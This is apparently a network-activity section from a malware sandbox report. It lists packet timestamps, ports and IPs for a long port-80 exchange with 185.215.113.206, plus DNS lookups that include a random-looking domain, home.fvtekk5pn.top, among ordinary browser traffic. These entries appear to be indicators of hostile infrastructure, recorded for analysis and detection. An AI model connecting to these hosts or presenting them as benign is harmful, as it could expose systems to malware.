Nov 25, 2024 05:46:50.109603882 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.109657049 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.110403061 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.110522032 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.110565901 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.111542940 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.111591101 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.111758947 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.111804962 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.112600088 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.112648010 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.112679005 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.113703012 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.113755941 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.113804102 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.114505053 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.114747047 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.114797115 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.114799976 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.115416050 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.115866899 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.115997076 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.116110086 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.116934061 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.117064953 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.117130995 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.118021011 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.118041039 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.118089914 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.119111061 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.119184017 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.119220018 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.119489908 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.120109081 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.120172977 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.123362064 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:50.123426914 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:50.123667955 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:50.123744965 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:50.123768091 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:50.123779058 CET	49893	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:50.123790026 CET	443	49893	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:50.125823975 CET	49904	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:50.125855923 CET	443	49904	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:50.125956059 CET	49904	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:50.126101971 CET	49904	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:50.126116991 CET	443	49904	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:50.264556885 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.264612913 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.264672041 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.264846087 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.265136003 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.265162945 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.265185118 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.265213966 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.266196966 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.266247034 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.266314030 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.266369104 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.267277002 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.267357111 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.267378092 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.267486095 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.268372059 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.268413067 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.268470049 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.268533945 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.269442081 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.269541025 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.269556046 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.269697905 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.270553112 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.270601034 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.270730972 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.271620989 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.271663904 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.271732092 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.271831989 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.272684097 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.272748947 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.272789001 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.272881985 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.273767948 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.273812056 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.273844004 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.273905039 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.274863005 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.274908066 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.274979115 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.275075912 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.275940895 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.275981903 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.276051044 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.276103020 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.277043104 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.277086973 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.277148008 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.277192116 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.278094053 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.278135061 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.278201103 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.278259039 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.279179096 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.279222965 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.279285908 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.279331923 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.280270100 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.280312061 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.280389071 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.280432940 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.281373978 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.281414032 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.281462908 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.281529903 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.282434940 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.282504082 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.282588959 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.283524990 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.283566952 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.283646107 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.283706903 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.284584045 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.284638882 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.284701109 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.284779072 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.285697937 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.285737991 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.285782099 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.285852909 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.286793947 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.286838055 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.286883116 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.286955118 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.287890911 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.287936926 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.287981033 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.288055897 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.288955927 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.288999081 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.289056063 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.289096117 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.290031910 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.290095091 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.290121078 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.290484905 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.291126013 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.291172981 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.291304111 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.291448116 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.292320967 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.292365074 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.292444944 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.292625904 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.293309927 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.293382883 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.293397903 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.293422937 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.294375896 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.294430971 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.294487000 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.294621944 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.295471907 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.295551062 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.295574903 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.295748949 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.296551943 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.296619892 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.296647072 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.297343969 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.297631025 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.297730923 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.297755957 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.297764063 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.298688889 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.298811913 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.298863888 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.299782038 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.299827099 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.299833059 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.300465107 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.300884962 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.300936937 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.300992966 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.301032066 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.301958084 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.302000999 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.302067995 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.302102089 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.303042889 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.303143024 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.303200006 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.304142952 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.304229021 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.304254055 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.304467916 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.305236101 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.305299997 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.305345058 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.305378914 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.306279898 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.306338072 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.306387901 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.306423903 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.307379007 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.307435036 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.307487965 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.307524920 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.308469057 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.308515072 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.308625937 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.308664083 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.308677912 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.309515953 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.309571028 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.309637070 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.309676886 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.310663939 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.310718060 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.310810089 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.310848951 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.311707020 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:50.311754942 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:50.311806917 CET	80	49829	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 05:46:26.130906105 CET	192.168.2.6	1.1.1.1	0x2b5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:26.131155014 CET	192.168.2.6	1.1.1.1	0x885a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 25, 2024 05:46:33.028482914 CET	192.168.2.6	1.1.1.1	0x431d	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:33.028649092 CET	192.168.2.6	1.1.1.1	0x3fdb	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 25, 2024 05:46:34.026570082 CET	192.168.2.6	1.1.1.1	0xb93a	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:34.026928902 CET	192.168.2.6	1.1.1.1	0xf631	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 25, 2024 05:46:38.514697075 CET	192.168.2.6	1.1.1.1	0xb4d8	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:38.514833927 CET	192.168.2.6	1.1.1.1	0xc1fe	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 25, 2024 05:46:41.006247997 CET	192.168.2.6	1.1.1.1	0xd8a	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:41.006546021 CET	192.168.2.6	1.1.1.1	0x30f7	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 25, 2024 05:46:41.510020971 CET	192.168.2.6	1.1.1.1	0xb489	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:41.510826111 CET	192.168.2.6	1.1.1.1	0x844	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 25, 2024 05:46:43.480910063 CET	192.168.2.6	1.1.1.1	0x704c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.481055975 CET	192.168.2.6	1.1.1.1	0x855d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 05:46:43.481415033 CET	192.168.2.6	1.1.1.1	0x1562	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.481894016 CET	192.168.2.6	1.1.1.1	0x5441	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 05:46:43.491008043 CET	192.168.2.6	1.1.1.1	0xa255	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.491199970 CET	192.168.2.6	1.1.1.1	0xc2b9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 05:46:43.657128096 CET	192.168.2.6	1.1.1.1	0x804	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.657250881 CET	192.168.2.6	1.1.1.1	0x8c6b	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 25, 2024 05:46:43.685395956 CET	192.168.2.6	1.1.1.1	0xbe6a	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.687489033 CET	192.168.2.6	1.1.1.1	0x2f53	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 25, 2024 05:46:43.797048092 CET	192.168.2.6	1.1.1.1	0xd19a	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.797250032 CET	192.168.2.6	1.1.1.1	0x8d5d	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 25, 2024 05:46:43.943145990 CET	192.168.2.6	1.1.1.1	0xe44	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.943269968 CET	192.168.2.6	1.1.1.1	0x818b	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 25, 2024 05:47:42.025955915 CET	192.168.2.6	1.1.1.1	0x2714	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:47:42.028214931 CET	192.168.2.6	1.1.1.1	0x331c	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 25, 2024 05:48:19.790123940 CET	192.168.2.6	1.1.1.1	0xdf75	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:48:19.790215969 CET	192.168.2.6	1.1.1.1	0x66a7	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 05:46:26.267904997 CET	1.1.1.1	192.168.2.6	0x2b5	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:26.269570112 CET	1.1.1.1	192.168.2.6	0x885a	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 25, 2024 05:46:33.165781975 CET	1.1.1.1	192.168.2.6	0x3fdb	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:33.165925980 CET	1.1.1.1	192.168.2.6	0x431d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:33.165925980 CET	1.1.1.1	192.168.2.6	0x431d	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:34.163233042 CET	1.1.1.1	192.168.2.6	0xb93a	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:38.651551008 CET	1.1.1.1	192.168.2.6	0xb4d8	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:38.653678894 CET	1.1.1.1	192.168.2.6	0xc1fe	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:39.383075953 CET	1.1.1.1	192.168.2.6	0x778	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:39.383075953 CET	1.1.1.1	192.168.2.6	0x778	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:39.498873949 CET	1.1.1.1	192.168.2.6	0x222	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:41.143130064 CET	1.1.1.1	192.168.2.6	0x30f7	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:41.244556904 CET	1.1.1.1	192.168.2.6	0xd8a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:41.646667004 CET	1.1.1.1	192.168.2.6	0xb489	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:41.646667004 CET	1.1.1.1	192.168.2.6	0xb489	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:41.649456024 CET	1.1.1.1	192.168.2.6	0x844	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 05:46:43.617877960 CET	1.1.1.1	192.168.2.6	0x855d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 05:46:43.618114948 CET	1.1.1.1	192.168.2.6	0x704c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.618114948 CET	1.1.1.1	192.168.2.6	0x704c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.618130922 CET	1.1.1.1	192.168.2.6	0x1562	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.618130922 CET	1.1.1.1	192.168.2.6	0x1562	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.618576050 CET	1.1.1.1	192.168.2.6	0x5441	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 05:46:43.627692938 CET	1.1.1.1	192.168.2.6	0xa255	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.627692938 CET	1.1.1.1	192.168.2.6	0xa255	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.627801895 CET	1.1.1.1	192.168.2.6	0xc2b9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 05:46:43.795044899 CET	1.1.1.1	192.168.2.6	0x804	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.795044899 CET	1.1.1.1	192.168.2.6	0x804	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.795044899 CET	1.1.1.1	192.168.2.6	0x804	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 25, 2024 05:46:43.795044899 CET	1.1.1.1	192.168.2.6	0x804	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
